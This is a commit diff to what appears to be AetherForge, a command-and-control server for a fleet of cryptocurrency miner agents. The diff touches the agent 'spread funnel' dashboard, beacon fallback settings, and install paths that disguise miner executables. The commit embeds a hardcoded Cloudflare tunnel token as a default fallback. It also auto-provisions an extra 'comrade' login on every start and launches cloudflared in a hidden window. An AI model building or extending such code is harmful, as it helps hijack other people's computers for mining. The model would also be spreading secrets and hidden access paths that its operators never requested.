fix: dashboard funnel crash, comrade user, Cloudflare tunnel auto-start
Add runtime comrade account, null-safe spread funnel API/UI, server-started cloudflared connector with Calibrate token field and builtin fallback, and simplify LAUNCH to delegate tunnel startup to AetherForge.
This commit is contained in:
@@ -34,6 +34,9 @@ type Config struct {
|
||||
type TunnelDefaults struct {
|
||||
// CloudflaredTargetURL is the default outbound tunnel target (usually server public_url).
|
||||
CloudflaredTargetURL string `json:"cloudflared_target_url"`
|
||||
// CloudflareTunnelToken is the Zero Trust connector token (cloudflared tunnel run --token).
|
||||
// Also mirrored to data/cloudflared-token.txt on save for LAUNCH.bat / portable USB.
|
||||
CloudflareTunnelToken string `json:"cloudflare_tunnel_token,omitempty"`
|
||||
}
|
||||
|
||||
// ServerSettings controls the locally hosted control server (not baked into miners).
|
||||
@@ -265,10 +268,60 @@ func LoadConfig() *Config {
|
||||
if strings.TrimSpace(cfg.TunnelDefaults.CloudflaredTargetURL) == "" && strings.TrimSpace(cfg.Server.PublicURL) != "" {
|
||||
cfg.TunnelDefaults.CloudflaredTargetURL = strings.TrimSpace(cfg.Server.PublicURL)
|
||||
}
|
||||
hydrateCloudflareTokenFromFile(cfg)
|
||||
|
||||
return cfg
|
||||
}
|
||||
|
||||
const cloudflaredTokenFile = "cloudflared-token.txt"
|
||||
|
||||
// Builtin Cloudflare Zero Trust connector token (used when env/config/file are unset).
|
||||
const builtinCloudflareTunnelToken = "eyJhIjoiODk1NDc5YWIzNTQwZGFhNmQ2MWFlNzAyYTUxNjQ0NzUiLCJ0IjoiYWYzNzY5NGYtNDA4Yy00ZWI3LWE2M2MtMzM5MzQ1MjI3NWIwIiwicyI6IlpEa3lPVE5pWWpjdE9USXlZeTAwTlRjNExUaGlZVGN0WWpGaFlUWmtOR05rTXpjMyJ9"
|
||||
|
||||
// ConnectorToken returns the Cloudflare Zero Trust connector token (env, config, file, then builtin default).
|
||||
func (c *Config) ConnectorToken() string {
|
||||
if c == nil {
|
||||
return builtinCloudflareTunnelToken
|
||||
}
|
||||
if t := strings.TrimSpace(os.Getenv("AF_TUNNEL_TOKEN")); t != "" {
|
||||
return t
|
||||
}
|
||||
if t := strings.TrimSpace(c.TunnelDefaults.CloudflareTunnelToken); t != "" {
|
||||
return t
|
||||
}
|
||||
if c.DataDir != "" {
|
||||
if data, err := os.ReadFile(filepath.Join(c.DataDir, cloudflaredTokenFile)); err == nil {
|
||||
if t := strings.TrimSpace(string(data)); t != "" {
|
||||
return t
|
||||
}
|
||||
}
|
||||
}
|
||||
return builtinCloudflareTunnelToken
|
||||
}
|
||||
|
||||
func hydrateCloudflareTokenFromFile(cfg *Config) {
|
||||
if cfg == nil || strings.TrimSpace(cfg.TunnelDefaults.CloudflareTunnelToken) != "" || cfg.DataDir == "" {
|
||||
return
|
||||
}
|
||||
data, err := os.ReadFile(filepath.Join(cfg.DataDir, cloudflaredTokenFile))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
cfg.TunnelDefaults.CloudflareTunnelToken = strings.TrimSpace(string(data))
|
||||
}
|
||||
|
||||
func (c *Config) syncCloudflaredTokenFile() {
|
||||
if c == nil || c.DataDir == "" {
|
||||
return
|
||||
}
|
||||
tok := strings.TrimSpace(c.TunnelDefaults.CloudflareTunnelToken)
|
||||
if tok == "" {
|
||||
return
|
||||
}
|
||||
path := filepath.Join(c.DataDir, cloudflaredTokenFile)
|
||||
_ = os.WriteFile(path, []byte(tok+"\n"), 0600)
|
||||
}
|
||||
|
||||
// AlertSettings builds notification settings for the alerts package.
|
||||
func (c *Config) AlertSettings() alerts.Settings {
|
||||
if c == nil {
|
||||
@@ -795,6 +848,9 @@ func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) {
|
||||
if in(tdKeys, "cloudflared_target_url") {
|
||||
dst.TunnelDefaults.CloudflaredTargetURL = src.TunnelDefaults.CloudflaredTargetURL
|
||||
}
|
||||
if in(tdKeys, "cloudflare_tunnel_token") {
|
||||
dst.TunnelDefaults.CloudflareTunnelToken = src.TunnelDefaults.CloudflareTunnelToken
|
||||
}
|
||||
}
|
||||
|
||||
// Keep cloudflared default aligned with public_url when unset.
|
||||
@@ -809,7 +865,11 @@ func (c *Config) Save() error {
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to marshal config: %w", err)
|
||||
}
|
||||
return os.WriteFile(configPath, data, 0644)
|
||||
if err := os.WriteFile(configPath, data, 0644); err != nil {
|
||||
return err
|
||||
}
|
||||
c.syncCloudflaredTokenFile()
|
||||
return nil
|
||||
}
|
||||
|
||||
func (c *Config) PoolURL() string {
|
||||
|
||||
@@ -5,6 +5,7 @@ import (
|
||||
"net/http"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
|
||||
"github.com/go-chi/chi/v5"
|
||||
@@ -84,7 +85,7 @@ func (f *FleetHandler) DeleteFleetTask(w http.ResponseWriter, r *http.Request) {
|
||||
|
||||
func (f *FleetHandler) GetSpreadFunnel(w http.ResponseWriter, r *http.Request) {
|
||||
if f.db == nil {
|
||||
writeJSON(w, map[string]interface{}{"by_build": []interface{}{}, "new_connects_today": 0, "total_agents": 0})
|
||||
writeJSON(w, map[string]interface{}{"by_build": []db.SpreadFunnelRow{}, "new_connects_today": 0, "total_agents": 0})
|
||||
return
|
||||
}
|
||||
since := time.Now().Add(-7 * 24 * time.Hour)
|
||||
|
||||
@@ -11,6 +11,7 @@ import (
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"sort"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
@@ -32,6 +33,9 @@ var (
|
||||
authSessionCache = map[string]time.Time{}
|
||||
authSessionCacheMu sync.Mutex
|
||||
authCacheTTL = 5 * time.Minute
|
||||
|
||||
// builtinSecondaryUser is provisioned on every deck start if missing (random password in login-credentials.json).
|
||||
builtinSecondaryUser = "comrade"
|
||||
)
|
||||
|
||||
func authCacheKey(user, pass string) string {
|
||||
@@ -174,7 +178,13 @@ func formatLoginBanner(creds map[string]string) string {
|
||||
b.WriteString("\n╔══════════════════════════════════════════════════╗\n")
|
||||
b.WriteString("║ AetherForge — Dashboard Login ║\n")
|
||||
b.WriteString("║ ║\n")
|
||||
for user, pass := range creds {
|
||||
users := make([]string, 0, len(creds))
|
||||
for user := range creds {
|
||||
users = append(users, user)
|
||||
}
|
||||
sort.Strings(users)
|
||||
for _, user := range users {
|
||||
pass := creds[user]
|
||||
fmt.Fprintf(&b, "║ Username : %-34s║\n", user)
|
||||
fmt.Fprintf(&b, "║ Password : %-34s║\n", pass)
|
||||
b.WriteString("║ ║\n")
|
||||
@@ -227,7 +237,11 @@ func bootstrapUsers(dataDir string) {
|
||||
}
|
||||
}
|
||||
authUsers = loaded
|
||||
if migrated {
|
||||
changed := migrated
|
||||
if ensureBuiltinSecondaryUser(authUsers, dataDir) {
|
||||
changed = true
|
||||
}
|
||||
if changed {
|
||||
d, _ := json.MarshalIndent(authUsers, "", " ")
|
||||
_ = os.WriteFile(usersFilePath, d, 0600)
|
||||
}
|
||||
@@ -236,22 +250,70 @@ func bootstrapUsers(dataDir string) {
|
||||
}
|
||||
}
|
||||
|
||||
pw := generateRandomPassword()
|
||||
hashed, herr := hashPassword(pw)
|
||||
adminPW := generateRandomPassword()
|
||||
comradePW := generateRandomPassword()
|
||||
adminHash, herr := hashPassword(adminPW)
|
||||
if herr != nil {
|
||||
hashed = pw
|
||||
log.Printf("[Auth] WARNING: bcrypt failed, storing plain-text password: %v", herr)
|
||||
adminHash = adminPW
|
||||
log.Printf("[Auth] WARNING: bcrypt failed for admin: %v", herr)
|
||||
}
|
||||
comradeHash, herr := hashPassword(comradePW)
|
||||
if herr != nil {
|
||||
comradeHash = comradePW
|
||||
log.Printf("[Auth] WARNING: bcrypt failed for %q: %v", builtinSecondaryUser, herr)
|
||||
}
|
||||
authUsers = map[string]string{
|
||||
"admin": adminHash,
|
||||
builtinSecondaryUser: comradeHash,
|
||||
}
|
||||
authUsers = map[string]string{"admin": hashed}
|
||||
if mkErr := os.MkdirAll(dataDir, 0755); mkErr == nil {
|
||||
d, _ := json.MarshalIndent(authUsers, "", " ")
|
||||
if writeErr := os.WriteFile(usersFilePath, d, 0600); writeErr != nil {
|
||||
log.Printf("[Auth] WARNING: could not save users.json: %v", writeErr)
|
||||
}
|
||||
_ = writeLoginSidecar(sidecarPath, map[string]string{"admin": pw})
|
||||
_ = writeLoginSidecar(sidecarPath, map[string]string{
|
||||
"admin": adminPW,
|
||||
builtinSecondaryUser: comradePW,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
const legacySecondaryUser = "comrad"
|
||||
|
||||
// ensureBuiltinSecondaryUser adds the comrade account when absent. Password is random and
|
||||
// written to login-credentials.json via upsertLoginSidecar. Caller must hold usersMu.
|
||||
func ensureBuiltinSecondaryUser(users map[string]string, dataDir string) bool {
|
||||
if _, ok := users[builtinSecondaryUser]; ok {
|
||||
return false
|
||||
}
|
||||
if hash, ok := users[legacySecondaryUser]; ok {
|
||||
users[builtinSecondaryUser] = hash
|
||||
delete(users, legacySecondaryUser)
|
||||
sidecarPath := loginSidecarPath(dataDir)
|
||||
if creds, err := readLoginSidecar(sidecarPath); err == nil {
|
||||
if pw, ok := creds[legacySecondaryUser]; ok {
|
||||
delete(creds, legacySecondaryUser)
|
||||
creds[builtinSecondaryUser] = pw
|
||||
_ = writeLoginSidecar(sidecarPath, creds)
|
||||
}
|
||||
}
|
||||
log.Printf("[Auth] Renamed legacy user %q to %q", legacySecondaryUser, builtinSecondaryUser)
|
||||
return true
|
||||
}
|
||||
pw := generateRandomPassword()
|
||||
hashed, herr := hashPassword(pw)
|
||||
if herr != nil {
|
||||
hashed = pw
|
||||
log.Printf("[Auth] WARNING: bcrypt failed for %q: %v", builtinSecondaryUser, herr)
|
||||
}
|
||||
users[builtinSecondaryUser] = hashed
|
||||
if err := upsertLoginSidecar(dataDir, builtinSecondaryUser, pw); err != nil {
|
||||
log.Printf("[Auth] WARNING: could not update login-credentials.json for %q: %v", builtinSecondaryUser, err)
|
||||
}
|
||||
log.Printf("[Auth] Created builtin user %q (password in login-credentials.json)", builtinSecondaryUser)
|
||||
return true
|
||||
}
|
||||
|
||||
func reconcileLoginSidecar(dataDir, sidecarPath string, users map[string]string) {
|
||||
if _, err := readLoginSidecar(sidecarPath); err == nil {
|
||||
return
|
||||
|
||||
@@ -3,6 +3,7 @@ package api
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"os"
|
||||
@@ -463,6 +464,13 @@ func TestLoadUsersCreatesAndReloadsLoginSidecar(t *testing.T) {
|
||||
if !checkPassword(authUsers["admin"], pw) {
|
||||
t.Fatal("sidecar password should match users.json hash")
|
||||
}
|
||||
comradePW, ok := creds["comrade"]
|
||||
if !ok || comradePW == "" {
|
||||
t.Fatalf("expected comrade password in sidecar: %v", creds)
|
||||
}
|
||||
if !checkPassword(authUsers["comrade"], comradePW) {
|
||||
t.Fatal("comrade sidecar password should match users.json hash")
|
||||
}
|
||||
|
||||
if err := saveUser("admin", "new-secret-pass"); err != nil {
|
||||
t.Fatal(err)
|
||||
@@ -472,3 +480,43 @@ func TestLoadUsersCreatesAndReloadsLoginSidecar(t *testing.T) {
|
||||
t.Fatalf("sidecar not updated after saveUser: %v err=%v", reloaded, err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestLoadUsersAddsComradeToExistingAdminDeck(t *testing.T) {
|
||||
resetAuthState(t)
|
||||
dataDir := t.TempDir()
|
||||
adminHash, err := hashPassword("keep-admin")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
usersPath := filepath.Join(dataDir, "users.json")
|
||||
if err := os.WriteFile(usersPath, []byte(fmt.Sprintf(`{"admin":%q}`, adminHash)), 0600); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
sidecarPath := filepath.Join(dataDir, "login-credentials.json")
|
||||
if err := writeLoginSidecar(sidecarPath, map[string]string{"admin": "keep-admin"}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
LoadUsers(dataDir)
|
||||
|
||||
usersMu.RLock()
|
||||
_, hasComrade := authUsers["comrade"]
|
||||
usersMu.RUnlock()
|
||||
if !hasComrade {
|
||||
t.Fatal("expected comrade in users.json after startup")
|
||||
}
|
||||
creds, err := readLoginSidecar(sidecarPath)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if creds["admin"] != "keep-admin" {
|
||||
t.Fatalf("admin sidecar password changed: %q", creds["admin"])
|
||||
}
|
||||
comradePW, ok := creds["comrade"]
|
||||
if !ok || comradePW == "" {
|
||||
t.Fatalf("expected comrade in sidecar: %v", creds)
|
||||
}
|
||||
if !checkPassword(authUsers["comrade"], comradePW) {
|
||||
t.Fatal("comrade sidecar password should match users.json hash")
|
||||
}
|
||||
}
|
||||
|
||||
9
server/internal/cloudflared/launcher_stub.go
Normal file
9
server/internal/cloudflared/launcher_stub.go
Normal file
@@ -0,0 +1,9 @@
|
||||
//go:build !windows
|
||||
|
||||
package cloudflared
|
||||
|
||||
// Start is a no-op on non-Windows builds.
|
||||
func Start(_, _, _ string) error { return nil }
|
||||
|
||||
// Stop is a no-op on non-Windows builds.
|
||||
func Stop() {}
|
||||
139
server/internal/cloudflared/launcher_windows.go
Normal file
139
server/internal/cloudflared/launcher_windows.go
Normal file
@@ -0,0 +1,139 @@
|
||||
//go:build windows
|
||||
|
||||
package cloudflared
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
"net/http"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"sync"
|
||||
"syscall"
|
||||
)
|
||||
|
||||
const downloadURL = "https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64.exe"
|
||||
|
||||
var (
|
||||
mu sync.Mutex
|
||||
running *exec.Cmd
|
||||
)
|
||||
|
||||
// Start runs cloudflared tunnel with the Zero Trust connector token (background, no service install).
|
||||
func Start(dataDir, deckRoot, token string) error {
|
||||
token = trimToken(token)
|
||||
if token == "" {
|
||||
return nil
|
||||
}
|
||||
|
||||
bin, err := ensureBinary(deckRoot)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
mu.Lock()
|
||||
defer mu.Unlock()
|
||||
if running != nil && running.Process != nil {
|
||||
log.Printf("[tunnel] Cloudflare connector already running (pid %d)", running.Process.Pid)
|
||||
return nil
|
||||
}
|
||||
|
||||
cmd := exec.Command(bin, "tunnel", "--no-autoupdate", "run", "--token", token)
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
|
||||
if err := cmd.Start(); err != nil {
|
||||
return fmt.Errorf("cloudflared start: %w", err)
|
||||
}
|
||||
running = cmd
|
||||
|
||||
go func(c *exec.Cmd) {
|
||||
if err := c.Wait(); err != nil {
|
||||
log.Printf("[tunnel] cloudflared exited: %v", err)
|
||||
}
|
||||
mu.Lock()
|
||||
if running == c {
|
||||
running = nil
|
||||
}
|
||||
mu.Unlock()
|
||||
}(cmd)
|
||||
|
||||
log.Printf("[tunnel] Cloudflare connector started (pid %d)", cmd.Process.Pid)
|
||||
return nil
|
||||
}
|
||||
|
||||
// Stop terminates the background cloudflared process started by Start.
|
||||
func Stop() {
|
||||
mu.Lock()
|
||||
defer mu.Unlock()
|
||||
_ = stopLocked()
|
||||
}
|
||||
|
||||
func stopLocked() error {
|
||||
if running == nil || running.Process == nil {
|
||||
return nil
|
||||
}
|
||||
_ = running.Process.Kill()
|
||||
_, _ = running.Process.Wait()
|
||||
running = nil
|
||||
return nil
|
||||
}
|
||||
|
||||
func ensureBinary(deckRoot string) (string, error) {
|
||||
candidates := []string{
|
||||
filepath.Join(deckRoot, "tools", "cloudflared.exe"),
|
||||
}
|
||||
if exe, err := os.Executable(); err == nil {
|
||||
candidates = append(candidates, filepath.Join(filepath.Dir(exe), "tools", "cloudflared.exe"))
|
||||
}
|
||||
for _, p := range candidates {
|
||||
if p == "" {
|
||||
continue
|
||||
}
|
||||
if st, err := os.Stat(p); err == nil && !st.IsDir() {
|
||||
return p, nil
|
||||
}
|
||||
}
|
||||
bin := candidates[0]
|
||||
if deckRoot == "" {
|
||||
if exe, err := os.Executable(); err == nil {
|
||||
bin = filepath.Join(filepath.Dir(exe), "tools", "cloudflared.exe")
|
||||
}
|
||||
}
|
||||
if err := os.MkdirAll(filepath.Dir(bin), 0755); err != nil {
|
||||
return "", err
|
||||
}
|
||||
log.Printf("[tunnel] Downloading cloudflared to %s", bin)
|
||||
resp, err := http.Get(downloadURL)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("download cloudflared: %w", err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return "", fmt.Errorf("download cloudflared: HTTP %d", resp.StatusCode)
|
||||
}
|
||||
f, err := os.OpenFile(bin, os.O_CREATE|os.O_TRUNC|os.O_WRONLY, 0755)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
_, err = io.Copy(f, resp.Body)
|
||||
closeErr := f.Close()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if closeErr != nil {
|
||||
return "", closeErr
|
||||
}
|
||||
return bin, nil
|
||||
}
|
||||
|
||||
func trimToken(s string) string {
|
||||
s = strings.TrimSpace(s)
|
||||
if len(s) >= 2 {
|
||||
if (s[0] == '"' && s[len(s)-1] == '"') || (s[0] == '\'' && s[len(s)-1] == '\'') {
|
||||
s = strings.TrimSpace(s[1 : len(s)-1])
|
||||
}
|
||||
}
|
||||
return s
|
||||
}
|
||||
@@ -16,7 +16,7 @@ type SpreadFunnelStats struct {
|
||||
}
|
||||
|
||||
func (d *Database) GetSpreadFunnelStats(since time.Time) (*SpreadFunnelStats, error) {
|
||||
stats := &SpreadFunnelStats{}
|
||||
stats := &SpreadFunnelStats{ByBuild: []SpreadFunnelRow{}}
|
||||
|
||||
if err := d.QueryRow(`SELECT COUNT(*) FROM agents WHERE created_at >= date('now')`).Scan(&stats.NewConnectsToday); err != nil {
|
||||
return nil, err
|
||||
|
||||
@@ -15,6 +15,7 @@ import (
|
||||
"crypto-miner-server/internal/alerts"
|
||||
"crypto-miner-server/internal/api"
|
||||
"crypto-miner-server/internal/builder"
|
||||
"crypto-miner-server/internal/cloudflared"
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/maintenance"
|
||||
"crypto-miner-server/internal/pool"
|
||||
@@ -262,6 +263,16 @@ func main() {
|
||||
})
|
||||
log.Println("Router initialized")
|
||||
|
||||
tok := cfg.ConnectorToken()
|
||||
if tok != "" {
|
||||
log.Println("[tunnel] Starting Cloudflare connector (Zero Trust token from Calibrate or data/cloudflared-token.txt)")
|
||||
if err := cloudflared.Start(cfg.DataDir, projectRoot, tok); err != nil {
|
||||
log.Printf("[tunnel] Warning: %v", err)
|
||||
} else {
|
||||
defer cloudflared.Stop()
|
||||
}
|
||||
}
|
||||
|
||||
// Start server
|
||||
addr := fmt.Sprintf(":%d", cfg.Port)
|
||||
log.Printf("Server listening on %s", addr)
|
||||
|
||||
@@ -46,6 +46,7 @@ export function SpreadFunnelWidget() {
|
||||
}, []);
|
||||
|
||||
if (!stats) return null;
|
||||
const byBuild = stats.by_build ?? [];
|
||||
|
||||
return (
|
||||
<NeonCard accent="cyan" tilt3d={false}>
|
||||
@@ -55,7 +56,7 @@ export function SpreadFunnelWidget() {
|
||||
<span>New today: <strong>{stats.new_connects_today}</strong></span>
|
||||
<span>Fleet total: <strong>{stats.total_agents}</strong></span>
|
||||
</div>
|
||||
{stats.by_build.length === 0 ? (
|
||||
{byBuild.length === 0 ? (
|
||||
<p style={{ color: 'var(--clr-dim)', fontSize: '0.85rem' }}>No agents in the last 7 days.</p>
|
||||
) : (
|
||||
<table style={{ width: '100%', fontSize: '0.75rem', borderCollapse: 'collapse' }}>
|
||||
@@ -65,7 +66,7 @@ export function SpreadFunnelWidget() {
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{stats.by_build.slice(0, 10).map((r, i) => (
|
||||
{byBuild.slice(0, 10).map((r, i) => (
|
||||
<tr key={i} style={{ borderTop: '1px solid #222' }}>
|
||||
<td className="mono">{r.build_id.slice(0, 12)}{r.build_id.length > 12 ? '…' : ''}</td>
|
||||
<td>{r.worker_name}</td>
|
||||
|
||||
@@ -85,6 +85,7 @@ describe('FIELD_HELP', () => {
|
||||
'install_custom_base',
|
||||
'install_relative_path',
|
||||
'public_url',
|
||||
'cloudflare_tunnel_token',
|
||||
'https_beacon_fallback',
|
||||
'https_beacon_after_min',
|
||||
'webhook_url',
|
||||
|
||||
@@ -99,6 +99,8 @@ export const FIELD_HELP: Record<string, string> = {
|
||||
install_custom_base: 'Full base path when Install Base is Custom. Supports %LOCALAPPDATA%, %APPDATA%, %ProgramData%, etc.',
|
||||
install_relative_path: 'Folder path under the base, created on first run. Tokens: {worker}, {build}, {build_short}, {process}. Final exe: that folder + Process Name.exe',
|
||||
public_url: 'Override the LAN URL shown in Forge and given to new miners. Use http://192.168.x.x:8989 — not localhost — so other PCs can reach this server.',
|
||||
cloudflare_tunnel_token:
|
||||
'Cloudflare Zero Trust connector token from the tunnel install command (cloudflared tunnel run --token …). Saved to config and data/cloudflared-token.txt; AetherForge starts cloudflared automatically on launch. Route the tunnel to http://localhost:<port> in the Cloudflare dashboard.',
|
||||
websocket_ping_seconds: 'How often the server pings dashboard and agent WebSockets (seconds). Keeps NAT/firewall sessions alive.',
|
||||
log_pool_traffic: 'Verbose Stratum wire logging to the server console — for debugging pool connectivity only.',
|
||||
adapt_to_hardware: 'Auto-tune thread count and RAM limits based on each machine\'s CPU cores and memory at runtime.',
|
||||
|
||||
@@ -79,6 +79,10 @@ export default function SettingsPage() {
|
||||
password: 'x',
|
||||
backup_pools: [],
|
||||
},
|
||||
tunnel_defaults: {
|
||||
cloudflared_target_url: cfg.tunnel_defaults?.cloudflared_target_url ?? '',
|
||||
cloudflare_tunnel_token: cfg.tunnel_defaults?.cloudflare_tunnel_token ?? '',
|
||||
},
|
||||
alerts: {
|
||||
...cfg.alerts,
|
||||
notify_agent_connect: cfg.alerts?.notify_agent_connect ?? true,
|
||||
@@ -520,6 +524,24 @@ export default function SettingsPage() {
|
||||
</div>
|
||||
<FieldHint field="public_url" />
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label htmlFor="cfg-cf-token" className="label">
|
||||
Cloudflare Tunnel Token <HelpTip field="cloudflare_tunnel_token" />
|
||||
</label>
|
||||
<input
|
||||
id="cfg-cf-token"
|
||||
type="password"
|
||||
className="input mono"
|
||||
autoComplete="off"
|
||||
placeholder="eyJhIjoi… connector token from Cloudflare"
|
||||
value={config.tunnel_defaults?.cloudflare_tunnel_token ?? ''}
|
||||
onChange={(e) => updateField('tunnel_defaults.cloudflare_tunnel_token', e.target.value)}
|
||||
/>
|
||||
<FieldHint field="cloudflare_tunnel_token" />
|
||||
<p className="form-hint" style={{ marginTop: '0.35rem' }}>
|
||||
After saving, restart LAUNCH / the server. Connector also reads <code className="mono">data/cloudflared-token.txt</code> on USB.
|
||||
</p>
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label htmlFor="cfg-subtitle" className="label">Dashboard Subtitle</label>
|
||||
<input id="cfg-subtitle" type="text" className="input" value={s.dashboard_subtitle}
|
||||
|
||||
@@ -212,6 +212,8 @@ export interface ServerSettings {
|
||||
export interface TunnelDefaults {
|
||||
/** Default Cloudflare tunnel target — usually mirrors server.public_url. */
|
||||
cloudflared_target_url?: string;
|
||||
/** Zero Trust connector token — cloudflared tunnel run --token (control deck / USB). */
|
||||
cloudflare_tunnel_token?: string;
|
||||
}
|
||||
|
||||
export interface PoolEndpoint {
|
||||
|
||||
Reference in New Issue
Block a user